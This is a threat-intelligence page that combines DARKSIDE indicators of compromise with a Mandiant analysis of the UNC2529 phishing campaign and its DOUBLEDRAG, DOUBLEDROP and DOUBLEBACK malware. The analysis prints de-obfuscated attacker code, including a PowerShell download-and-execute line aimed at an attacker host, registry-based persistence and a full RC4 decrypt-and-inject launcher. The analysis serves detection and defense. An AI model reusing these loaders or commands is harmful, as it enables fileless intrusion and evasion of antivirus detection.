  • TEAMVIEWER CLIENT [User-Agent]
  • WINDOWS METHODOLOGY [Plink Reverse Tunnel]
  • WINDOWS METHODOLOGY - SERVICES [PsExec]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Title

A101-700 

Malicious File Transfer - DARKSIDE, Download, Variant #2 

A101-701 

Malicious File Transfer - DARKSIDE, Download, Variant #3 

A101-702 

Malicious File Transfer - DARKSIDE, Download, Variant #4 

A101-703 

Malicious File Transfer - DARKSIDE, Download, Variant #5 

A101-704 

Malicious File Transfer - DARKSIDE, Download, Variant #6 

A101-705 

Malicious File Transfer - DARKSIDE, Download, Variant #7 

A101-706 

Malicious File Transfer - DARKSIDE, Download, Variant #8 

A101-707 

Malicious File Transfer - DARKSIDE, Download, Variant #9 

A101-708 

Malicious File Transfer - DARKSIDE, Download, Variant #10 

A101-709 

Malicious File Transfer - DARKSIDE, Download, Variant #11 

A101-710 

Malicious File Transfer - DARKSIDE, Download, Variant #12 

A101-711 

Malicious File Transfer - DARKSIDE, Download, Variant #13 

A101-712 

Malicious File Transfer - DARKSIDE, Download, Variant #14 

A101-713 

Malicious File Transfer - DARKSIDE, Download, Variant #15 

A101-714 

Malicious File Transfer - DARKSIDE, Download, Variant #16 

A101-715 

Malicious File Transfer - DARKSIDE, Download, Variant #17 

A101-716 

Malicious File Transfer - DARKSIDE, Download, Variant #18 

A101-717 

Malicious File Transfer - DARKSIDE, Download, Variant #19 

A101-718 

Malicious File Transfer - DARKSIDE, Download, Variant #20 

A101-719 

Malicious File Transfer - DARKSIDE, Download, Variant #21 

A101-720 

Malicious File Transfer - DARKSIDE, Download, Variant #22 

A101-721 

Malicious File Transfer - DARKSIDE, Download, Variant #23 

A101-722 

Malicious File Transfer - DARKSIDE, Download, Variant #24 

A101-723 

Malicious File Transfer - DARKSIDE, Download, Variant #25 

A101-724 

Malicious File Transfer - DARKSIDE, Download, Variant #26 

A101-725 

Malicious File Transfer - DARKSIDE, Download, Variant #27 

A101-726 

Malicious File Transfer - DARKSIDE, Download, Variant #28 

A101-727 

Malicious File Transfer - DARKSIDE, Download, Variant #29 

A101-728 

Malicious File Transfer - DARKSIDE, Download, Variant #30 

A101-729 

Malicious File Transfer - DARKSIDE, Download, Variant #31 

A101-730 

Malicious File Transfer - DARKSIDE, Download, Variant #32 

A101-731 

Malicious File Transfer - DARKSIDE, Download, Variant #33 

A101-732 

Malicious File Transfer - DARKSIDE, Download, Variant #34 

A101-733 

Malicious File Transfer - DARKSIDE, Download, Variant #35 

A101-734 

Malicious File Transfer - DARKSIDE, Download, Variant #36 

A101-735 

Malicious File Transfer - NGROK, Download, Variant #1 

A101-736 

Malicious File Transfer - UNC2465, LNK Downloader for SMOKEDHAM, Download 

A101-737 

Malicious File Transfer - BEACON, Download, Variant #3 

A101-738 

Data Exfiltration - RCLONE, Exfil Over SFTP 

A101-739 

Malicious File Transfer - RCLONE, Download, Variant #2 

A101-740 

Command and Control - DARKSIDE, DNS Query, Variant #1 

A101-741 

Command and Control - DARKSIDE, DNS Query, Variant #2 

A101-742 

Application Vulnerability - SonicWall, CVE-2021-20016, SQL Injection 

A104-771 

Protected Theater - DARKSIDE, PsExec Execution 

A104-772 

Host CLI - DARKSIDE, Windows Share Creation 

A104-773 

Protected Theater - DARKSIDE, Delete Volume Shadow Copy 

Related Indicators

UNC2628

Indicator

Description

104.193.252[.]197:443

BEACON C2

162.244.81[.]253:443

BEACON C2

185.180.197[.]86:443

BEACON C2

athaliaoriginals[.]com

BEACON C2

lagrom[.]com

BEACON C2

ctxinit.azureedge[.]net

BEACON C2

45.77.64[.]111

Login Source

181ab725468cc1a8f28883a95034e17d

BEACON Sample

UNC2659

Indicator

Description

173.234.155[.]208

Login Source

UNC2465

Indicator

Description

81.91.177[.]54 :7234

Remote Access

koliz[.]xyz

File Hosting

los-web[.]xyz

EMPIRE C2

sol-doc[.]xyz

Malicious Infrastructure

hxxp://sol-doc[.]xyz/sol/ID-482875588

Downloader URL

6c9cda97d945ffb1b63fd6aabcb6e1a8

Downloader LNK

7c8553c74c135d6e91736291c8558ea8

VBS Launcher

27dc9d3bcffc80ff8f1776f39db5f0a4

Ngrok Utility

DARKSIDE Ransomware Encryptor

DARKSIDE Sample MD5

04fde4340cc79cd9e61340d4c1e8ddfb

0e178c4808213ce50c2540468ce409d3

0ed51a595631e9b4d60896ab5573332f

130220f4457b9795094a21482d5f104b

1a700f845849e573ab3148daef1a3b0b

1c33dc87c6fdb80725d732a5323341f9

222792d2e75782516d653d5cccfcf33b

29bcd459f5ddeeefad26fc098304e786

3fd9b0117a0e79191859630148dcdc6d

47a4420ad26f60bb6bba5645326fa963

4d419dc50e3e4824c096f298e0fa885a

5ff75d33080bb97a8e6b54875c221777

66ddb290df3d510a6001365c3a694de2

68ada5f6aa8e3c3969061e905ceb204c

69ec3d1368adbe75f3766fc88bc64afc

6a7fdab1c7f6c5a5482749be5c4bf1a4

84c1567969b86089cc33dccf41562bcd

885fc8fb590b899c1db7b42fe83dddc3

91e2807955c5004f13006ff795cb803c

9d418ecc0f3bf45029263b0944236884

9e779da82d86bcd4cc43ab29f929f73f

a3d964aaf642d626474f02ba3ae4f49b

b0fd45162c2219e14bdccab76f33946e

b278d7ec3681df16a541cf9e34d3b70a

b9d04060842f71d1a8f3444316dc1843

c2764be55336f83a59aa0f63a0b36732

c4f1a1b73e4af0fbb63af8ee89a5a7fe

c81dae5c67fb72a2c2f24b178aea50b7

c830512579b0e08f40bc1791fc10c582

cfcfb68901ffe513e9f0d76b17d02f96

d6634959e4f9b42dfc02b270324fa6d9

e44450150e8683a0addd5c686cd4d202

f75ba194742c978239da2892061ba1b4

f87a2e1c3d148a67eaeb696b1ab69133

f913d43ba0a9f921b1376b26cd30fa34

f9fc1a1a95d5723c140c2a8effc93722

☑ ☆ ✇ Threat Research

The UNC2529 Triple Double: A Trifecta Phishing Campaign

By: Nick Richard

In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution.

UNC2529 Phishing Overview

Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020.

During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mw<redacted>Gdczs, engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process.

The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function.

http://<fqdn>/downld-id_<string>
http://<fqdn>/downld-id-<string>
http://<fqdn>/files-upload_<string>
http://<fqdn>/files-upload-<string>
http://<fqdn>/get_file-id_<string>
http://<fqdn>/get_file-id-<string>
http://<fqdn>/zip_download_<string>
http://<fqdn>/zip_download-<string>

The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”.

Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat or hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php.

Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload. 

The threat actor made slight modifications to the URL pattern during the second wave.

http://<fqdn>/<string>
http://<fqdn>/dowld_<string>
http://<fqdn>/download_<string>
http://<fqdn>/files_<string>
http://<fqdn>/id_<string>
http://<fqdn>/upld_<string>

Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document. 

Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php, hxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains were registered after the observed second wave.

Tailored Targeting

UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company.

Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line.

A utility company received a phish with subject, “easement to bore to our stairwell area.”

While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1.

Subject Lure

Wave

re: <redacted> outdoors environment (1 out of 3)

1st

accepted: follow up with butch & karen

1st

re: appraisal for <redacted> - smysor rd

2nd

re: <redacted> financing

2nd

Table 1: Sample financial industry subject lures

Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2.

Subject Lure

Wave

fw: certificate of insurance

1st

fw: insurance for plow

1st

please get this information

1st

question & number request

1st

claim status

2nd

applications for medicare supplement & part d

2nd

Table 2: Sample insurance industry subject lures

Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized.

Some patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker.

Subject Lure

Wave

dear worker, your work # ujcb0utczl

1st

good day worker, your job number- 8ldbsq6ikd

1st

hello worker, your work number- u39hbutlsf

1st

good day candidate, your vacancy # xcmxydis4s

2nd

dear worker, your work # ujcb0utczl

2nd

Table 3: Sample pattern subject lures

Industry and Regional Targeting

UNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1.


Figure 1: UNC2529 phishing campaign, first wave

In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2. 


Figure 2: UNC2529 phishing campaign, second wave

Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups.

Technical Analysis

Overview

The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines.

Ecosystem in Details

DOUBLEDRAG Downloader component

The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation.

"C:\Windows\System32\cmd.exe" /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc <base64_encoded_ps_code>

Figure 3: De-obfuscated JavaScript downloader

The <base64_encoded_ps_code> downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note, that the downloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of the code, observed in the first phishing wave, is shown in Figure 4.

IEX (New-Object Net.Webclient).downloadstring("hxxp://p-leh[.]com/update_java.dat")

Figure 4: Downloading and executing of the DOUBLEDROP dropper

DOUBLEDROP Dropper component

Overview

The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures. The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system’s registry database, effectively achieving a file-less malware execution.

Setup

The dropper's main goal is to serialize the chosen payload along with the loading scripts into the compromised system's registry database and to ensure that the payload will be loaded following a reboot or a user login (see the Persistence Mechanism section). In order to do so, the dropper generates three pseudo-random GUIDs and creates the registry keys and values shown in Figure 5.

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_0>}
       * key: LocalServer
              * value: <default>
                      * data: <bootstrap_ps_code>
       * key: ProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <encoded_loader>
       * key: VersionIndependentProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <first_4_chars_of_rnd_guid_0>
                      * data: <encoded_rc4_key>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <rc4_encrypted_payload>

* HK[CU|LM]\Software\Classes\{<rnd_guid_1>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: CLSID
              * value: <default>
                      * data: <rnd_guid_0>

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_2>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: TreatAs
              * value: <default>
                      * data: <rnd_guid_0>

Figure 5: Registry keys and values created by the dropper

Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {<rnd_guid_0>} registry key as shown in Figure 5. Additionally, at this point the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations, shown in Figure 6 (note that the key is reversed!).

<relative_offset> = buffer[32]
buffer[32 + <relative_offset> + 1] = <reversed_rc4_key>

Figure 6: Encoding of the RC4 key

Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key (see Figure 5).

At this point all the necessary steps that ensure the payload's persistence on the system are complete and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately. The persistence mechanism, the bootstrap, and the launcher are described in more details in the following sections.

Persistence Mechanism

The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not.

If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID - the {<rnd_guid_2>} GUID (See Figure 5). Once executed by the system, the task finds the {<rnd_guid_2>} class under the HKLM\Software\Classes\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key. The {<rnd_guid_0>} emulator class ID defines a registry key LocalServer and its default value will be executed by the task.

If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated TreatAs registry key under their definition in the registry database. The TreatAs key's default registry value points to the {<rnd_guid_0>} emulator class essentially achieving the same execution sequence as in the elevated privilege case.

Bootstrap

The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The content of the code is saved under the emulator's class LocalServer registry key and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or MsCtfMonitor classes. 

The bootstrap code finds the location of the launcher script, decodes it and then executes it within the same PowerShell process. A decoded and sanitized version of the script is shown in Figure 7.

$enc = [System.Text.Encoding]::UTF8;
$loader = Get-ItemProperty
    -Path($enc.GetString([Convert]::FromBase64String('<base64_encoded_path_to_launcher>')))
    -n '<launcher_reg_val>' | Select-Object -ExpandProperty '<launcher_reg_val>';
$xor_val = <xor_val>;
iex(
    $enc.GetString($(
        for ($i = 0; $i -lt $loader.Length; $i++) {
            if ($xor_val -ge 250) {
                $xor_val = 0
            }
            $loader[$i] -bxor $xor_val;
            $xor_val += 4
        }
    ))
)

Figure 7: De-obfuscated and sanitized bootstrap code

Note that the actual values for <base64_encoded_path_to_launcher>, <launcher_reg_val>, and <xor_val> are generated on the fly by the dropper and will be different across the compromised systems.

The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. The following code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key.

def encdec(src, key):
    out = bytearray()
    for b in src:
        if key >= 250:
            key = 0
        out.append(b ^ key)
        key += 4
    return out

Figure 8: Algorithm to Decode the Launcher

Once the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command.

Launcher

The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value (see Figure 5) and then uses it to decrypt the payload. Once the payload is decrypted, the launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper. The function at that entry point is expected to lay the image in memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload's entry point.

A sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9.

function DecryptPayload {
    param($fn7, $xf7, $mb5)
    $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5;
    $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11)));
    $ow7 = $fn1[$en8..($en8 + 31)];
    [array]::Reverse($ow7);
    $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7;
    $en8 = {
        $xk2 = 0..255;
        0..255 | % {
            $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 - (3 + (11 + 5)));
            $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_]
        };
        $fn1 | % {
            $sp3 = ($sp3 + 1) % (275 - 19);
            $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64);
            $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];
            $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))]
        }
    };
    $ry6 = (& $en8 | foreach-object { '{0:X2}' -f $_ }) -join '';
    ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) {
                [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0))))
            }
        )
    )
}

function ExecuteApi {
    param($fn7, $xf7)
    $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('?RND?')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('?RND?', $false).DefineType('?RND?', 'Class,Public,Sealed,AnsiClass,AutoClass', [System.MulticastDelegate]);
    $vy9.DefineConstructor('RTSpecialName,HideBySig,Public', [System.Reflection.CallingConventions]::Standard, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.CreateType()
}

function GetProcAddress {
    param($fn7)
    $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods');
    $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod('GetModuleHandle').Invoke(0, @('kernel32.dll'))));
    $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef]$lr3, $fn7))
}

$decryptedPayload = DecryptPayload 'hklm:\software\classes\CLSID\<rnd_guid_0>\VersionIndependentProgID' '<reg_val_payload>' '<reg_val_rc4_key>';

function InjectPayload {
    param($payload, $payloadLen, $entryPoint, $access)
    $mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'VirtualAllocEx'), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000, $access);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'RtlMoveMemory'), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem, $payload, $payloadLen);
    $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'CreateThread'), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem, 0, 0, 0);
    Start-Sleep -s (((2673 - 942) + 1271))
}

# 0x36dc = Loader Entry Point, rva
# 0x40 = PAGE_EXECUTE_READWRITE
InjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40

Figure 9: De-obfuscated and sanitized launcher script

DOUBLEBACK Backdoor component

Overview

The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions are met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process. 

In contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending on the target. With all the common functionality implemented as plugins, the backdoor’s main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins.

Details

The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In all other cases, the malware will immediately terminate itself. Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher. In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it. More details about the logic implemented in the PowerShell and the msiexec branches are provided in the following sections. 

Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The algorithm first generates a pseudo-unique host identifier that is based on the system volume's serial number and a hardcoded salt value, as shown in Figure 10.

# oberserved salt = 0x436ea76d
def gen_host_id(vol_ser_num, salt):
    salted_val = (vol_ser_num + salt) & 0xffffffff
    md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little')))
    second_dword = struct.unpack('<i', md5.digest()[4:8])[0]
    return (salted_val + second_dword) & 0xffffffff

Figure 10: Host ID generation algorithm

Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input, as shown in Figure 11.

# src is the host ID
def gen_guid(src):
    b = bytearray()
    xor = 0xaabbccdd
    for _ in range(4):
        b += src.to_bytes(4, byteorder='little')
        src ^= xor
        xor = (xor + xor) & 0xffffffff
    return uuid.UUID(bytes_le=bytes(b))

Figure 11: GUID generation algorithm

Once the GUID is generated the malware formats it as Global\{<guid>} and attempts to open a mutex with that name. In case the mutex is already created the backdoor assumes that another instance of itself is already running and terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into.

Executing Within the PowerShell Process

The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines. This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system. In the latter case, the backdoor's main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created.

The injection process involves finding the backdoor's image under the appropriate registry key. Note, that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition. Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key both described in the previous section of the post.

With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and inject its image into it. The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its DllMain entry point. The export function allocates the needed memory, relocates the image, if needed, resolves the imports and finally executes the backdoor’s DllMain function.

At this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself.

Executing as Injected in the msiexec.exe Process

Overview

The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its configuration, plugin management, and communications. In the following sections we will describe the first two, while a future blog post will focus on the communications and the evolution of the backdoor.

Configuration

The backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the second part of the post). The configuration data is formatted as shown in Figure 12.

struct tag_config_header_t {
    uint32_t xor_val_1;
    uint32_t xor_val_2;
    uint32_t xor_val_3;
    uint32_t xor_val_4;
} config_header_t;

struct tag_config_t {
    config_header_t header;
    uint8_t encoded_config[];
} config_t;

Figure 12: Encoded configuration format

The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1.

The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module. The first two bytes specify the lengths of the comma-separated URL list and the key, respectively. The URLs in the observed samples follow the pattern shown in Figure 13.

https://<server>/admin<n>/client.php

Figure 13: Observed C2 URL pattern

The initial sample did not have any value for <n> but the samples after that were observed to use <n> equal to 4 or 5.

Plugin Management

The backdoor's core functionality is implemented via plugins designed as PE Windows dynamic libraries. The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key. The full path to the plugins location is formatted as HK[LM|CU]:\Software\Classes\CLSID\{<plugins_home_guid>}, where <plugins_home_guid> is generated by the GUID algorithm shown in Figure 11 with a host-specific value we call implant ID which is used not only to generate the path to the plugins but with the backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their initialization. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown in Figure 14, with the host ID and the <max_range> value is set to 0x54c5638. The value generated by the LCG is then added to 0x989680 and the result serves as the implant ID.

def lcg(max_range):
    global seed
    if seed == 0:
        seed = get_RDTSC()
    n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff
    val = n % max_range
    seed = n
    return val

Figure 14: Linear Congruential Generator used by the backdoor

The backdoor enumerates all the registry values under the plugins home location (the registry value names are insignificant) and expects each of the plugins to be formatted, as shown in Figure 15.

struct tag_plugin_header_t {
    uint32_t xor_val;
    uint32_t param_2; the second parameter of the pfn_init
    uint32_t len_1;
    uint32_t len_2;
    uint32_t pfn_init;
    uint32_t pfn_cleanup;
    uint32_t param_3; the third parameter of the pfn_init
    uint32_t unused;
} plugin_header_t;

struct tag_plugin_t {
       plugin_header_t header;
       uint8_t encoded_plugin[];
} plugin_t;

Figure 15: Encoded plugins format

As shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL. The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value. The plugin_header_t.len_1 stores the number of DWORDS to be decoded with plugin_header_t.xor_val which is incremented by 4 after each iteration. The plugin_header_t.len_2 specifies the number of bytes to be decoded at the current position after the previous operation with the current value of the plugin_header_t.xor_val (only the least significant byte is taken). In this mode the plugin_header_t.xor_val value is incremented by one after each iteration.

